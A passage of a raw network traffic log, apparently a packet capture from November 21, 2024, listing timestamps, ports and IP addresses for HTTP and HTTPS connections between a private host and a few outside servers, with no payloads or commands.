Nov 21, 2024 14:11:28.993259907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.993318081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.993417978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.993818998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.993973970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.994163990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.994607925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.994713068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.994776964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.995424032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.995503902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.995903969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.996210098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.996301889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.996460915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.997001886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.997078896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.997358084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.997837067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.997911930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.998627901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.998717070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.998728037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.998776913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.999391079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.999510050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.999566078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.000185966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.000322104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.000437975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.000993967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.001136065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.001315117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.001826048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.001934052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.002034903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.002593040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.002751112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.003376007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.003438950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.003495932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.003566980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.004177094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.004295111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.004347086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.004967928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.005083084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.005203009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.005784035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.005894899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.005947113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.006622076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.006740093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.006834030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.007565975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.007647991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.007716894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.008287907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.008455992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.008559942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.009246111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.009289026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.009351969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.009756088 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:29.009793043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.009871960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.009939909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.010054111 CET	49921	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:29.010550976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.055159092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.129508972 CET	80	49921	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:29.129532099 CET	80	49902	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:29.129581928 CET	49921	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:29.129614115 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:29.129816055 CET	49921	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:29.160758972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.160773993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.160825014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.161017895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.161196947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.161271095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.161726952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.161741018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.161834955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.162735939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.163858891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.163930893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.163997889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.164325953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.164338112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.164371967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.165103912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.165164948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.165177107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.165908098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.165985107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.166065931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.166784048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.166939020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.166965961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.167448997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.167555094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.167710066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.168363094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.168417931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.168543100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.169193029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.169204950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.169291019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.169830084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.169874907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.170022011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.170763969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.170775890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.170829058 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.171549082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.171561956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.171618938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.172210932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.172257900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.172390938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.172923088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.173036098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.173065901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.173964024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.173974991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.174015999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.174741983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.174753904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.174779892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.175421000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.175432920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.175479889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.176227093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.176345110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.176384926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.177186012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.177197933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.177259922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.178380013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.178430080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.178431988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.178520918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.178621054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.178848982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.179356098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.179393053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.179400921 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.180126905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.180217028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.180221081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.180931091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.181015968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.181047916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.181804895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.181885004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.182024956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.182524920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.182612896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.182677031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.183303118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.183356047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.183527946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185636044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185704947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.185744047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185796022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185831070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185866117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185904026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.185915947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.185915947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.186526060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.186619997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.186681032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.187391996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.187494993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.187556982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.188139915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.188275099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.188281059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.188947916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.189091921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.189152002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.189685106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.189804077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.189852953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.190474033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.190557003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.190603018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.191258907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.191325903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.191339016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.192145109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.192248106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.192337990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.192864895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.192975044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.193037033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.193671942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.193731070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.193795919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.194494009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.194555044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.194591045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.195276022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.195329905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.195420980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.196079969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.196170092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.196228981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.196886063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.196943998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.197027922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.197720051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.197755098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.197789907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.198457003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.198522091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.198586941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.199259043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.199330091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.199404001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.200051069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.200109005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.200354099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.200470924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.201031923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.201150894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.201267958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.201314926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.201937914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.201987028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.202105999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.202703953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.242527008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.249396086 CET	80	49921	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:29.331837893 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:29.331864119 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:29.332129002 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:29.335402012 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:29.335411072 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:29.352750063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.352893114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.352945089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.353116035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.353254080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.353317022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.353781939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.353892088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.353939056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.354526043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.355902910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.355958939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.355997086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.356292963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.356357098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.356417894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.357125044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.357182980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.357259989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.357914925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.358031034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.358052969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.358726978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.358776093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.358802080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.359492064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.359580040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.359611988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.360280037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.360362053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.360443115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.361093044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.361157894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.361253023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.361903906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.361938953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.361994028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.362658024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.362760067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.362773895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.363470078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.363606930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.363652945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.364352942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.364438057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.364500046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.365067005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.365120888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.365181923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.365844965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.365892887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.365962982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.366710901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.366799116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.366803885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.367465019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.367541075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.367615938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.368252993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.368360996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.368372917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.369082928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.369174004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.369237900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.369981050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.370052099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.370081902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.370779991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.370834112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.370850086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.371469975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.371532917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.371571064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.372220993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.372267962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.372345924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.373037100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.373086929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.373107910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.373815060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.373857975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.373928070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.374660969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.374737978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.374775887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.375415087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.375504017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.375536919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.376233101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.376295090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.376482010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.377067089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.377100945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.377123117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.377825022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.377873898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.377939939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.378715992 CET	80	49903	34.116.198.130	192.168.2.6
